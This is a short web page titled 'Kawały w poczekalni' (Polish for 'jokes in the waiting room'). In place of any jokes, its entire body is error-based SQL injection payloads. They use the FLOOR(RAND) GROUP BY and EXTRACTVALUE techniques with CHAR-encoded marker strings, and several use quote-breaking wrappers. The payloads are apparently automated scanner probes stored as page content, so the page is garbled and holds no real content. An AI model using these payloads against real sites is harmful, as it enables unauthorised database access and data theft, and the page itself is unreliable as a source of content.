Kawały w poczekalni

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(101),CHAR(110),CHAR(101),CHAR(111),CHAR(121),CHAR(108),CHAR(100),CHAR(109),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(101),CHAR(110),CHAR(101),CHAR(111),CHAR(121),CHAR(108),CHAR(100),CHAR(109)))

"+(select CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(108),CHAR(107),CHAR(99),CHAR(104),CHAR(120),CHAR(113),CHAR(97))+"

"+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(108),CHAR(107),CHAR(99),CHAR(104),CHAR(120),CHAR(113),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

"+EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(108),CHAR(107),CHAR(99),CHAR(104),CHAR(120),CHAR(113),CHAR(97)))+"

(select CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(108),CHAR(107),CHAR(99),CHAR(104),CHAR(120),CHAR(113),CHAR(97))

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(108),CHAR(107),CHAR(99),CHAR(104),CHAR(120),CHAR(113),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(110),CHAR(108),CHAR(107),CHAR(99),CHAR(104),CHAR(120),CHAR(113),CHAR(97)))